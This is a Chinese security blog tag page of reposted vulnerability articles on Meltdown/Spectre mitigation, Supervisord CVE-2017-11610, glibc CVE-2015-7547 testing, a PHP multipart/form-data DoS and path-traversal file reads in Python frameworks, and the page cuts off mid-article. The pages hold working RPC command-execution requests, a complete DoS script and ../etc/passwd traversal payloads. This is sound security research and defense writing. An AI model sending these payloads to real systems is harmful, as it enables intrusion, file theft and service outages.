标签: 漏洞

  • CPU漏洞Meltdown和Spectre影响与修复

    CPU漏洞Meltdown和Spectre影响与修复

    一.背景

    对于2018年1月3日Intel CPU被Google Project Zero团队爆出的漏洞Spectre和Meltdown,影响Intel、AMD以及ARM等多个厂商的产品,受影响的操作系统平台有Windows、Linux、Android、IOS以及Mac OS等。任子行SurfSRC针对漏洞整理了漏洞检测工具以及针对多个平台的缓解措施方案。

    二.影响范围

    Meltdown和Spectre漏洞影响范围非常广,目前已公开的漏洞利用代码经过测试有效,完全可以被攻击者利用,影响范围:

    l 处理器芯片:Intel为主、ARM、AMD,对其他处理器同样可能存在相关风险;

    l 操作系统:Windows、Linux、macOS、Android;

    l 云服务提供商:亚马逊、微软、谷歌、腾讯云、阿里云等;

    l 各种私有云基础设施。

    l 桌面用户可能遭遇到结合该机理组合攻击或者通过浏览器泄露cookies、网站密码等信息。

    三.防御建议

    meltdown和spectre均是本地执行的漏洞,攻击者想利用该漏洞首先需要有在目标机器上具备代码执行的权限,所以只要用户不引入不可信的代码,那么该漏洞不会影响到用户。但是考虑到普通用户安全意识不强,无法假设不引入不可信的代码,所以请根据自身受影响情况情况配合相关厂商进行修复。

    3.1个人用户与个人维护服务器

    考虑到浏览器作为一个常见的攻击面,恶意代码通过浏览器进入到用户个人机器可能性较高,所以对于对于该漏洞针对个人的主要防御还是在在浏览器层面上。参考一下不同浏览器的防御方式:

    (1)360浏览器防御方法

    http://down.360safe.com/cpuleak_scan.exe

    可安装360的一键浏览器升级安装免疫工具。

    (2)Chrome浏览器防御方法

    开启Chrome的”站点隔离”的可选功能,启用站点隔离后,可以被侧信道攻击的数据减少,因为Chrome在单独的进程中为每个打开的网站呈现内容。Chrome浏览器会在1月下旬的更新中提供对漏洞的修复。

    (3)Edge/IE浏览器防御方法

    升级Edge/IE浏览器补丁程序

    (4)Firefox浏览器防御方法

    升级浏览器至Firefox 57.0.4版本:

    https://www.mozilla.org/en-US/security/advisories/mfsa2018-01/

    3.1.1 Windows

    微软已经对于该漏洞已推送更新,请先更新系统(以windows 10为例):

    接着按以下步骤检查Windows系统是否已成功打补丁:

    以管理员权限打开powershell,分别执行一下powershell命令(如下图):

    
    

    Set-ExecutionPolicy Bypass

    
    

    Install-Module SpeculationControl

    
    

    Get-SpeculationControlSettings

    
    

    若显示输入如上,那么说明系统已打补丁,其他显示的红色部分说明还需要其他硬件厂商的中间件更新补丁,可关注所使用的硬件产品关注对应的安全通告;若是出现很多的红色提示,那么说明系统没有修复成功。

    3.1.2 Linux

    linux 系统过增加 KPTI 防护到达隔离用户空间和内核空间,阻止攻击者在普通用户权限读取内核内存。

    https://lwn.net/Articles/738975/

    Fedora 防御 Meltdown 漏洞利用的方法:

    https://fedoramagazine.org/protect-fedora-system-meltdown/

    Centos的更新通告:

    https://lists.centos.org/pipermail/centos-announce/2018-January/022696.html

    Redhat的更新通告:https://access.redhat.com/security/vulnerabilities/speculativeexecution

    ubuntu 预计1.9 号能发布patch。

    https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown

    linux – debian

    https://security-tracker.debian.org/tracker/source-package/linux

    打完补丁,检查Linux服务器是否已打补丁成功,检查程序地址:

    https://github.com/paboldin/meltdown-exploit

    如下编译执行即可:

    若显示如上图,那么说明Linux机器仍然处于未修复状态。

    3.1.3 Mac OS

    苹果也发表针对 CPU 预测执行侧信道漏洞发表公告,所有的 mac/iOS 设备均受影响

    https://support.apple.com/en-us/HT208394

    3.1.4 Vmware

    VMware 针对 CPU 预测执行侧信道漏洞发表公告:

    https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html

    更多关于该漏洞以及厂商的信息请参考:

    https://github.com/hannob/meltdownspectre-patches

    3.2云主机用户

    考虑到本次漏洞具备越权访问内核数据以及虚拟机宿主机器内存数据,一旦攻击者具备了在用户机器上执行代码的权限,利用该漏洞就可以通过读取内核数据绕过操作系统KASLR缓解措施、读取用户凭据用于权限提升以及在基于虚拟化的机器集群中入侵经过隔离的云主机租户。云主机用户请注意云服务厂商关于这一次漏洞的安全公告,配合打补丁。

    四.参考

    https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247484395&idx=1&sn=86cd1f9e4d611b1d9d09fb7c0c5fc494

    http://www.freebuf.com/vuls/159291.html

    转载请注明:爱开源 » CPU漏洞Meltdown和Spectre影响与修复

  • Supervisord 远程命令执行漏洞(CVE-2017-11610)

    Supervisord 远程命令执行漏洞(CVE-2017-11610)

    前几天 Supervisord 出现了一个需认证的远程命令执行漏洞(CVE-2017-11610),在对其进行分析以后,将靶场加入了 Vulhub 豪华套餐

    Supervisord

    Supervisord 是一款 Python 开发,用于管理后台应用(服务)的工具,其角色类似于 Linux 自带的 Systemd。

    我觉得它相比 Systemd 有几个特点:

    1. 配置比较简单
    2. 一个简单的第三方应用,与系统没有耦合
    3. 提供HTTP API,支持远程操作

    所以,我之前把他用来跑一些Web应用。

    Supervisord 的架构分为 Server 和 Client,Server 以一个服务的形式,跑在系统后台,而 Client 是一个命令行工具,其实就是根据用户的要求,调用 Server 提供的 API,执行一些工作。

    查看 Supervisord 的配置文件可知,默认情况下,Server 端监听在 unix 套接字unix:///tmp/supervisor.sock 上,而 Client 配置的 serverurl 也是这个地址:

    [unix_http_server]
    file=/tmp/supervisor.sock   ; the path to the socket file
    ;chmod=0700                 ; socket file mode (default 0700)
    ;chown=nobody:nogroup       ; socket file uid:gid owner
    ;username=user              ; default is no username (open server)
    ;password=123               ; default is no password (open server)
    
    ;[inet_http_server]         ; inet (TCP) server disabled by default
    ;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
    ;username=user              ; default is no username (open server)
    ;password=123               ; default is no password (open server)
    
    [supervisorctl]
    serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
    ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
    ;username=chris              ; should be same as in [*_http_server] if set
    ;password=123                ; should be same as in [*_http_server] if set
    ;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
    ;history_file=~/.sc_history  ; use readline history if available
    

    所以,Client 端去连接配置文件中的 serverurl 的地址,并与其使用 RPC 协议(基于 HTTP 协议)通信。比如我们平时常用的命令(启动名为 web 的服务):supervisorctl start web,看下其数据包:

    其实很简单的协议,通过 XML,将 methodName 和 params 通过 HTTP 协议传给服务端进行执行。start 命令执行的是 supervisor.startProcess 方法,仅有一个参数就是服务的名称。

    另外,如果我设置了 [inet_http_server] 段,即可将 Supervisord 监听在 TCP 端口上,这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉,就默认监听在 9001 端口上了。

    漏洞分析

    CVE-2017-11610 的本质是一个不安全的对象引用+方法调用,十分类似 Java 中的反序列化漏洞。

    在上一章中我说了,Supervisord 的控制实际上就是一个 C/S 以 RPC 协议的通信的过程,而 RPC 协议(远程过程调用协议),顾名思义就是 C 端通过 RPC 协议可以在 S 端执行某个函数,并得到返回结果。那么,如果 C 端执行了 S 端预料之外的函数(如 os.system),那么就会导致漏洞的产生。

    一个安全的 RPC 协议,会有一个函数名的映射,也就是说 C 端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。

    而我们来看看 3.3.2 版本中 Supervisord 是如何处理 RPC 调用的:

    class supervisor_xmlrpc_handler(xmlrpc_handler):
        ...
    
        def call(self, method, params):
            return traverse(self.rpcinterface, method, params)
    
    def traverse(ob, method, params):
        path = method.split('.')
        for name in path:
            if name.startswith('_'):
                # security (don't allow things that start with an underscore to
                # be called remotely)
                raise RPCError(Faults.UNKNOWN_METHOD)
            ob = getattr(ob, name, None)
            if ob is None:
                raise RPCError(Faults.UNKNOWN_METHOD)
    
        try:
            return ob(*params)
        except TypeError:
            raise RPCError(Faults.INCORRECT_PARAMETERS)
    

    supervisor_xmlrpc_handlerl 类用于处理 RPC 请求,其 call 方法就是真正执行远程调用的函数。在 call 方法中调用了 traverse 函数,跟进这个函数,我们发现他的逻辑是这样:

    1. 将 path 用点号分割成数组
    2. 遍历这个数组,每次获得一个 name
    3. 如果 name 不以下划线开头,则获取 ob 对象的 name 属性,其作为新的 ob 对象
    4. 遍历完成后获得最终的 ob 对象,调用之

    所以,实际上这个函数最后达成的效果就是:初始 ob 对象下的任意 public 方法,包括它的所有递归子对象的任意 public 方法,都可以被调用

    而此处,ob 对象即为 self.rpcinterface,官方开发者可能认为可调用的方法只限制在这个对象内部,所以没有做特别严格的白名单限制。

    而 CVE-2017-11610 的发现者发现,在 self.rpcinterface.supervisor.supervisord.options 对象下,有一个方法 execve,其相当于直接调用了系统的 os.execve 函数,是可以直接执行任意命令的:

    class ServerOptions(Options):
        ...
        def execve(self, filename, argv, env):
            return os.execve(filename, argv, env)
    

    所以,最后给出利用 POC(RPC 协议如何构造数据包、XML 是什么格式,这个可以自己去看看文档):

    POST /RPC2 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 439
    
    <?xml version="1.0"?>
    <methodCall>
    <methodName>supervisor.supervisord.options.execve</methodName>
    <params>
    <param>
    <string>/usr/local/bin/python</string>
    </param>
    <param>
    <array>
    <data>
    <value><string>python</string></value>
    <value><string>-c</string></value>
    <value><string>import os;os.system('touch /tmp/success');</string></value>
    </data>
    </array>
    </param>
    <param>
    <struct>
    </struct>
    </param>
    </params>
    </methodCall>
    

    POC 缺陷与改进

    当然,漏洞发现者找到的这个 self.rpcinterface.supervisor.supervisord.options.execve 其实不是那么好用,原因是,Python 的 os.execve 函数会使用新进程取代现有的进程。也就是说,这里会导致 Supervisord 本身退出。

    基于 Docker 容器的 Supervisord(如 Vulhub 里这个靶场),如果基础进程 Supervisord 被退出,那么将导致整个容器被退出,即使我们执行了任意命令,我们获得的权限也是转瞬即逝的。

    另外,即使非Docker环境,我们在测试漏洞的过程中影响到了线上业务,这个后果是无法估量的,所以我们必须想其他方法来稳定的利用漏洞。

    我说两个方法。

    法一:先Fork一个新进程

    同样在 self.rpcinterface.supervisor.supervisord.options 对象中,有一个 fork 方法,是调用了系统的 os.fork 函数。

    os.fork 函数的作用就是根据当前进程,派生一个新的子进程。所以,即使当前进程被意外结束了,也不会导致 Supervisord 服务终止,因为派生的进程还留存着。

    所以,先发送如下数据包即可派生新进程:

    POST /RPC2 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 133
    
    <?xml version="1.0"?>
    <methodCall>
    <methodName>supervisor.supervisord.options.fork</methodName>
    <params>
    </params>
    </methodCall>
    

    然后再发送之前的 POC 即可。

    但这个方法还是会影响 Docker 容器。

    法二:找寻其他利用链

    这个漏洞和一些反序列化漏洞类似,都是去找到一个不安全的对象。那么,除了原作者给出的self.rpcinterface.supervisor.supervisord.options.execve(),是不是还可以找到其他更好用的利用链呢?

    通过一系列调试,我找到了一个利用链:supervisor.supervisord.options.warnings.linecache.os.system(),其实目的很简单,就是想方设法找到非下划线开头的属性中,是否有引用 os 模块。linecache 中引用了 os 模块:

    所以,构造如下数据包:

    POST /RPC2 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 275
    
    <?xml version="1.0"?>
    <methodCall>
    <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
    <params>
    <param>
    <string>touch /tmp/success</string>
    </param>
    </params>
    </methodCall>
    

    即可直接执行任意命令。如,反弹 shell:

    漏洞影响与修复

    出现这个漏洞,一般有几个条件:

    1. Supervisord 版本在受影响的范围内
    2. RPC 端口可被访问
    3. RPC 无密码或密码脆弱

    第二个条件其实不太容易达到。默认安装的 Supervisord,是只监听 unix 套接字的,所以外部IP根本无法访问。

    另外,如果你已经拿到了一台机器的低权限,想访问本地的 unix 套接字,利用该漏洞提权,也是不现实的:原因是 supervisord.sock 文件权限默认是 0700,其他用户无法访问,能够访问的用户权限和它是一样的,也就不存在提权的说法了。

    当然,如果运维同学不小心将 RPC 端口开放了,并且使用了默认密码或没有设置密码,那么借助这个漏洞进行攻击,也是很不错的。

    如何修复这个漏洞?

    1. 升级 Supervisord
    2. 端口访问控制
    3. 设置复杂 RPC 密码

    转载请注明:爱开源 » Supervisord 远程命令执行漏洞(CVE-2017-11610)

  • 安全漏洞 CVE-2015-7547 修复与测试

    前提:

    1. 这个bug在去年最初报出来是作为crash问题报的,当时没有深究背后的远程代码执行的可能性。后来Google的工程师偶然发现这个问题,深究后发现问题不是crash那么简单 https://googleonlinesecurity.blogspot.com/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
    2. The glibc DNS client side resolver is vulnerable to a stack-based buffer overflow when the getaddrinfo() library function is used. Software using this function may be exploited with attacker-controlled domain names, attacker-controlled DNS servers, or through a man-in-the-middle attack.
    3. 也就是说只要使用glibc的getaddrinfo()进行DNS查询,而查询结果是黑客能控制的,那么就可能会被攻击。控制查询结果,可以通过控制DNS服务器,或者中间人攻击,或者控制域名本身(因为查询结果就是域名的信息)让受害者去查询。

    测试:

    1. https://github.com/fjserna/CVE-2015-7547
    2. 下载后 执行 python CVE-2015-7547-poc.py
    3. 编译 gcc CVE-2015-7547-client.c -o client
    4. 执行 ./client 文件
    • 如果返回 段错误(Segmentation fault) 有漏洞
    • 如果返回 client: getaddrinfo: Name or service not known 漏洞已修复

    20160220152219

    修复:

    1. 升级 glibc 到 2.12-1.166.el6_7.7 https://www.centos.org/forums/viewtopic.php?t=56467
    2. 执行命令 yum install glibc-2.12-1.166.el6_7.7
    3. 升级完成之后测试,测试截图

    20160220152741

    相关文章

    转载请注明:爱开源 » 安全漏洞 CVE-2015-7547 修复与测试

  • PHP multipart/form-data 远程DOS漏洞

    摘要:

    PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。

    影响范围:

    PHP所有版本

    一、漏洞入口

    PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。

    在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。

    /* Get the boundary */
    boundary= strstr(content_type_dup, "boundary");
     if(!boundary) {
         intcontent_type_len = strlen(content_type_dup);
         char*content_type_lcase = estrndup(content_type_dup, content_type_len);
    
         php_strtolower(content_type_lcase,content_type_len);
         boundary= strstr(content_type_lcase, "boundary");
         if(boundary) {
                 boundary= content_type_dup + (boundary - content_type_lcase);
         }
         efree(content_type_lcase);
      }
      if(!boundary || !(boundary = strchr(boundary, '='))) {
           sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
           return;
       }
       boundary++;
       boundary_len= strlen(boundary);
       …
       …
       while(!multipart_buffer_eof(mbuff TSRMLS_CC))
       {
                       charbuff[FILLUNIT];
                       char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
                       size_tblen = 0, wlen = 0;
                       off_toffset;
    
                       zend_llist_clean(&header);
    
                       if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
                                gotofileupload_done;
                       }
    
       SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,
    

    二、漏洞函数multipart_buffer_headers执行逻辑

    进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下:

    /* parse headers */
    static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
    {
             char*line;
             mime_header_entryprev_entry = {0}, entry;
             intprev_len, cur_len;
    
             /*didn't find boundary, abort */
             if(!find_boundary(self, self->boundary TSRMLS_CC)) {
                       return0;
             }
    
             /*get lines of text, or CRLF_CRLF */
    
             while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
             {
                       /*add header to table */
                       char*key = line;
                       char*value = NULL;
    
                       if(php_rfc1867_encoding_translation(TSRMLS_C)) {
                                self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
                       }
    
                       /*space in the beginning means same header */
                       if(!isspace(line[0])) {
                                value= strchr(line, ':');
                       }
    
                       if(value) {
                                *value= 0;
                                do{ value++; } while(isspace(*value));
    
                                entry.value= estrdup(value);
                                entry.key= estrdup(key);
    
                       }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
    
                                prev_len= strlen(prev_entry.value);
                                cur_len= strlen(line);
    
                                entry.value= emalloc(prev_len + cur_len + 1);
                                memcpy(entry.value,prev_entry.value, prev_len);
                                memcpy(entry.value+ prev_len, line, cur_len);
                                entry.value[cur_len+ prev_len] = '\0';
    
                                entry.key= estrdup(prev_entry.key);
    
                                zend_llist_remove_tail(header);
                       }else {
                                continue;
                       }
    
                       zend_llist_add_element(header,&entry);
                       prev_entry= entry;
             }
    
             return1;
    }
    

    multipart_buffer_headers函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:

                 while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
    

    当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在’:’。

    如果line存在字符’:’:

    value指向’:’所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储,并使用prev_entry记录当前解析到的header,用于解析下一行。

    否则,line不存在字符’:’:

    认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。

             prev_len= strlen(prev_entry.value);
             cur_len= strlen(line);
    
             entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
             memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
             memcpy(entry.value+ prev_len, line, cur_len);   //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。
             entry.value[cur_len+ prev_len] = '\0';
    
             entry.key= estrdup(prev_entry.key);
    
             zend_llist_remove_tail(header);
    

    首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。

    三、漏洞原理:

    在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符’:’,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.

     prev_len= strlen(prev_entry.value);
             cur_len= strlen(line);
    
             entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
             memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
             memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝
             entry.value[cur_len+ prev_len] = '\0';
    
             entry.key= estrdup(prev_entry.key);
    
             zend_llist_remove_tail(header);//1次内存释放
    

    四、利用:

    构造恶意的http请求,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。

    五、POC

    '''
    Author: Shusheng Liu,The Department of Security Cloud, Baidu
    email: liusscs@163.com
    '''
    import sys
    import urllib,urllib2
    import datetime
    from optparse import OptionParser
    
    def http_proxy(proxy_url):
    
        proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
        null_proxy_handler = urllib2.ProxyHandler({})
        opener = urllib2.build_opener(proxy_handler)
        urllib2.install_opener(opener)
    #end http_proxy
    
    def check_php_multipartform_dos(url,post_body,headers):
      req = urllib2.Request(url)
      for key in headers.keys():
        req.add_header(key,headers[key])
      starttime = datetime.datetime.now();
      fd = urllib2.urlopen(req,post_body)
      html = fd.read()
      endtime = datetime.datetime.now()
      usetime=(endtime - starttime).seconds
      if(usetime > 5):
        result = url+" is vulnerable";
      else:
        if(usetime > 3):
          result = "need to check normal respond time"
      return [result,usetime]
    #end
    
    def main():
        #http_proxy("http://127.0.0.1:8089")
        parser = OptionParser()
        parser.add_option("-t", "--target", action="store",
                      dest="target",
                      default=False,
          type="string",
                      help="test target")
        (options, args) = parser.parse_args()
        if(options.target):
      target = options.target
        else:
      return;
    
        Num=350000
        headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
                'Accept-Encoding':'gzip, deflate',
                'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
        body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
        payload=""
        for i in range(0,Num):
            payload = payload + "a\n"
        body = body + payload;
        body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
        print "starting...";
        respond=check_php_multipartform_dos(target,body,headers)
        print "Result : "
        print respond[0]
        print "Respond time : "+str(respond[1]) + " seconds";
    
    if __name__=="__main__":
        main()
    

    相关文章

    转载请注明:爱开源 » PHP multipart/form-data 远程DOS漏洞

  • 新型任意文件读取漏洞的研究

    0x00 前言


    早前发现boooom在乌云上发了很多个任意文件读取的漏洞,都是形如

    http://target/../../../../etc/passwd
    

    这样。当时感觉很新奇,因为正常情况下,通常的服务器中间件是不允许直接读取web目录以外的文件的,为什么这样的漏洞却出现在了很多案例中。

    后来在lijiejie的文章给出了解释:http://www.lijiejie.com/python-django-directory-traversal/ ,原来是python这种新型web开发方式造成的问题。然后翻了下我自己以前用web.py、tornado开发的一些应用,果然也存在这样的问题。

    这个问题就像lijiejie说的那样,一方面是低版本django框架自身的一些漏洞,另一方面,就是开发者自身的疏忽造成的问题。

    这不得不提到现今开发框架与以前的一些区别。不管是python还是node、ruby的框架,都是一个可以自定义URL分配的框架,不再是像php或asp中那样根据目录结构来请求文件。所有的请求由用户定义规则,而框架内核部分解析、配发、执行。比如我们请求的“/login/”这个URL,很可能是被配发给一个LoginHandler类去处理了,而不是请求到/login/index.php上。

    这时候造成了一个问题,如果我们就是想去请求一个真实的文件,比如css、js等静态文件,怎么办?

    一般也会有一些区分,一些要求比较高的应用,多是采用了CDN缓存或负载均衡,nginx作为负载分配的处理器。当发现我们请求的url是一个静态文件的话,就直接由CDN或nginx返回相应文件。如下图:

    2015030401212143740

    那么这之中也存在这一个定义问题,什么请求才说明是要请求“静态文件”?只要以.css、.js结尾就可以吗?当然这也是一种方法,但一般应用会定义一个目录,如/static/,所有请求匹配“/static/(.*)”的会被认为是静态文件,所以开发者一般将静态文件放在这个目录下,我们用户就能够直接请求到他了。

    如果不存在CDN、nginx等平台,其实类似web.py、tornado这样的框架自己也定义了静态目录,在web.py下,默认的静态目录都是/static/,也就是在这个目录下的请求是不会经过URLPath的。如web.py文档中说到的:

    http://webpy.org/cookbook/staticfiles.zh-cn

    这时候,我就会有这个思考,框架内部如果是以/static/(.*)来匹配请求的话,如果我们求

    /static/../../../../../etc/passwd
    

    是不是就可以读取到/etcs/passwd文件?

    0x01 web.py下可能的任意文件读取漏洞研究


    我们先来看看web.py是怎样处理这种请求的:

    /static/../../../../../etc/passwd
    

    我们在web/httpserver.py中可以看到这样的代码:

    def do_GET(self):
        if self.path.startswith('/static/'):
            SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.run_wsgi_app()
    

    当请求以/static/开头的话,就直接交给SimpleHTTPServer处理了。SimpleHTTPServer是python自带的一个简单的HTTP Server,我们在任意一个目录下执行

    python -m SimpleHTTPServer
    

    都会启动一个web服务器,可以直接通过HTTP协议访问目录下的文件。

    web.py的Server其实就是对SimpleHTTPServer的一个继承与重写,这里它简单的把这个请求交给父类SimpleHTTPServer处理,而这个HTTP Server当然不会允许请求到web目录(也就是./static/)以外的地方去,所以得到的回复是404:

    2015030401212152015

    框架本身保证了静态文件不会造成任意文件读取。但复杂的逻辑关系应用中,开发者往往不满足于/static/一种静态目录。比如,网站允许用户上传、下载文件,可能我们会新建一个uploadfile目录,按日期、时间专门保存上传的文件。

    那么,开发者为了让/uploadfile目录下的文件也能被直接访问,往往会这样写:

    #!/usr/bin/python
    import web
    
    urls = (
        '/uploadfile/(.*)', 'download',
        '/', 'hello',
    )
    app = web.application(urls, globals())
    
    class hello:
        def GET(self, name):
            if not name:
                name = 'World'
            return 'Hello, ' + name + '!'
    
    class download:
        def GET(self, filepath):
            try:
                with open("./uploadfile/%s" % filepath, "rb") as f:
                    content = f.read()
                return content
            except:
                return web.notfound("Sorry, the file you were looking for was not found.")
    
    if __name__ == "__main__":
        app.run()
    

    有个download类专门解析这类请求,直接在GET方法中读取文件,并作为response写入HTTP数据包。

    我们请求一个正常的文件/uploadfile/01.txt,是可以得到它的内容的:

    2015030401212283650

    但我们请求一个非uploadfile目录下的文件,却发现也能读取,导致了一个任意文件读取漏洞:

    2015030401212244694

    这就是由于开发者的失误,并没有检查我们传入的path是否合法而导致,与框架无关。

    0x02 Tornado下可能的任意文件读取漏洞研究


    tornado是一个全异步的web框架,它允许我们在配置中定义静态目录static_path。在tornado中,专门给出了一个方法来验证我们的请求是否在允许的目录内:

    def validate_absolute_path(self, root, absolute_path):
        """Validate and return the absolute path.
    
        ``root`` is the configured path for the `StaticFileHandler`,
        and ``path`` is the result of `get_absolute_path`
    
        This is an instance method called during request processing,
        so it may raise `HTTPError` or use methods like
        `RequestHandler.redirect` (return None after redirecting to
        halt further processing).  This is where 404 errors for missing files
        are generated.
    
        This method may modify the path before returning it, but note that
        any such modifications will not be understood by `make_static_url`.
    
        In instance methods, this method's result is available as
        ``self.absolute_path``.
    
        .. versionadded:: 3.1
        """
        root = os.path.abspath(root)
        # os.path.abspath strips a trailing /
        # it needs to be temporarily added back for requests to root/
        if not (absolute_path + os.path.sep).startswith(root):
            raise HTTPError(403, "%s is not in root static directory",
                            self.path)
        if (os.path.isdir(absolute_path) and
                self.default_filename is not None):
            # need to look at the request.path here for when path is empty
            # but there is some prefix to the path that was already
            # trimmed by the routing
            if not self.request.path.endswith("/"):
                self.redirect(self.request.path + "/", permanent=True)
                return
            absolute_path = os.path.join(absolute_path, self.default_filename)
        if not os.path.exists(absolute_path):
            raise HTTPError(404)
        if not os.path.isfile(absolute_path):
            raise HTTPError(403, "%s is not a file", self.path)
        return absolute_path
    

    这样,一旦请求不在我们定义的静态目录下,就会抛出“is not in root static directory”错误:

    2015030401212211169

    那么如果tornado中,也需要定义一个”/uploadfile/“作为用户上传目录,那么我们怎么做?

    文档中也提到了,我们只需要自定义一个URLPath即可,tornado内部有专门处理静态文件的控制器web.StaticFileHandler:

    application = web.Application([
    
        (r"/uploadfile/(.*)", web.StaticFileHandler, {"path": "/var/www"}),
    
    ])
    

    就算不考虑安全问题,作为一个异步的框架,如果我们还用同步的read、write这些IO函数自己去处理静态文件,也是不可取的。

    不过,在后面的研究中,我也发现了tornado的处理方式并不算完美,更多详情可以等这个洞公开后查看:

    WooYun: Python开源框架Tornado某缺陷可能造成文件读取漏洞

    0x03 Django中的问题


    Django低版本自身存在的漏洞导致的任意文件读取,实际上就是犯了我之前说的静态文件未检查的问题,如这个09年的BUG:

    https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-2659

    2015030401212396741

    正如我在web.py中说到的,如果django也单纯使用open、read来读取文件,而不检查PATH的合法性,同样能够造出任意文件读取。

    比如我们django的view如此写:

    from django.shortcuts import render
    from django.http import HttpResponse
    
    # Create your views here.
    
    def index(request, path):
        with open(path, "rb") as f:
            content = f.read()
        return HttpResponse(content)
    

    没有验证path的合法性,依旧可以出现任意文件读取的现象:

    2015030401212353218

    如上图,直接读取了sqlite数据库内容,拿下管理员账号密码。

    那么我们怎么在这样的应用中防御任意文件读取?我们简单修改django的view防御这个漏洞:

    from django.shortcuts import render
    from django.http import HttpResponse
    from django.http import Http404
    import os
    
    # Create your views here.
    
    def index(request, path):
        static = "uploadfile"
        root = os.path.join(os.getcwd(), static) + os.path.sep
        path = os.path.abspath(root + path)
        if not (path).startswith(root):
            raise Http404
        else:
            with open(path, "rb") as f:
                content = f.read()
            return HttpResponse(content)
    

    其实有些框架都有自己检查静态文件的方式,django自身应该也有的。像web.py这样的轻型框架没有自带函数检查的情况下,可以考虑用我上面写的这个方法来剔除不合法的静态文件路径。

    0x04 PHP等语言会不会出现这个问题?


    这个问题其实是有思考价值的。

    最开始我就提到了,现代的python/node/ruby等web开发框架与老式的php、asp等语言的区别,也是造成这个漏洞的原因之一就是因为URL的分配导致静态文件不能被直接访问到,所以需要自定义静态文件的访问方式。但一旦访问参数未检查,就造成任意文件读取问题。

    但传统php应用就是一个以目录形式访问的,静态文件访问应该不会经过php的,这确实是一个很大的区别。

    先不论我们的请求会不会经过php,看到zblog最新版中一个实际的案例。

    /zb_system/function/c_system_event.php
    

    大概415行:

    if (isset($_SERVER['SERVER_SOFTWARE']) && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false) && (isset($_GET['rewrite']) == true)){
        //iis+httpd.ini下如果存在真实文件
